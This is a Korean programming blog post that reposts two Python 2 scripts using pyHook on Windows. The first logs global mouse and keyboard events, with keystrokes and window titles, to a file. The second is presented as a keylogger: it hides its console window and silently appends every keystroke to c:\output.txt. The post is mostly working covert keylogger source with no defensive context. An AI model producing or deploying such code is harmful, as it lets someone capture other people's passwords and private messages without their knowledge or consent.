python:pyHook 을 이용한 Keyboard Hooking 예제
Aplication/Python2015. 8. 25. 11:10
import os import time import pyHook # http://sourceforge.net/projects/pyhook/ from win32gui import GetWindowRect, GetClassName, GetWindowText ##http://sourceforge.net/projects/pywin32/files/pywin32/Build216/ curTime = time.strftime("%Y%m%d_%H%M%S", time.localtime(time.time())) if not os.path.exists("Messages"): os.mkdir("Messages") print "Make Message Directory " f = open("Messages\\messages"+ curTime +".txt", "w") def Log(logStr): print "In logging " print str(logStr) f.write(logStr + "\n") def OnMouseEvent(event): print "On Mouse Event " Log('MessageName:' + str(event.MessageName)) Log('Message:' + str(event.Message)) Log('Time:' + str(event.Time)) Log('Window:' + str(event.Window)) if event.Window != 0: Log('Window Rect:' + str( GetWindowRect(event.Window))) Log('Window Class Name:' + str( GetClassName(event.Window))) #Log('Window Text:' + str( GetWindowText(event.Window))) Log('WindowName:' + str(event.WindowName)) Log('Position:' + str(event.Position)) Log('Wheel:' + str(event.Wheel)) Log('Injected:' + str(event.Injected)) Log('---') # return True to pass the event to other handlers # return False to stop the event from propagating return True def OnKeyboardEvent(event): print "On keyboard Event " Log('MessageName:' + str(event.MessageName)) Log('Message:' + str(event.Message)) Log('Time:' + str(event.Time)) Log('Window:' + str(event.Window)) if event.Window != 0: Log('Window Rect:' + str( GetWindowRect(event.Window))) Log('Window Class Name:' + str( GetClassName(event.Window))) Log('Window Text:' + str( GetWindowText(event.Window))) Log('WindowName:' + str(event.WindowName)) Log('Ascii:' + str( event.Ascii) + str( chr(event.Ascii))) Log('Key:' + str( event.Key)) Log('KeyID:' + str( event.KeyID)) Log('ScanCode:' + str( event.ScanCode)) Log('Extended:' + str( event.Extended)) Log('Injected:' + str( event.Injected)) Log('Alt' + str( event.Alt)) Log('Transition' + str( event.Transition)) Log('---') # return True to pass the event to other handlers # return False to stop the event from propagating return True # create the hook mananger hm = pyHook.HookManager() # register two callbacks hm.MouseAllButtonsDown = OnMouseEvent hm.KeyDown = OnKeyboardEvent # hook into the mouse and keyboard events hm.HookMouse() hm.HookKeyboard() if __name__ == '__main__': import pythoncom pythoncom.PumpMessages()[출처] http://k1rha.tistory.com/432
import win32api import win32console import win32gui import pythoncom,pyHook win=win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: f=open('c:\output.txt','r+') buffer=f.read() f.close() f=open('c:\output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n' buffer+=keylogs f.write(buffer) f.close() hm=pyHook.HookManager() hm.KeyDown=OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()[출처] 파이썬 키로거(Python Keylogger)|작성자 해피용
'Aplication > Python' 카테고리의 다른 글
API Hooking 예제(notepad 저장 내용 변경하기) (0) | 2015.08.27 |
---|---|
파이썬 소스코드 검색 하는곳 (0) | 2015.08.27 |
KeyBoard Hooking (키보드 후킹)(python2.7) (0) | 2015.08.24 |
윈도우용 Python 모듈 (pip 설치 불가 포함) (0) | 2015.08.24 |
py2exe, psycopg2 설치하기 (0) | 2015.08.21 |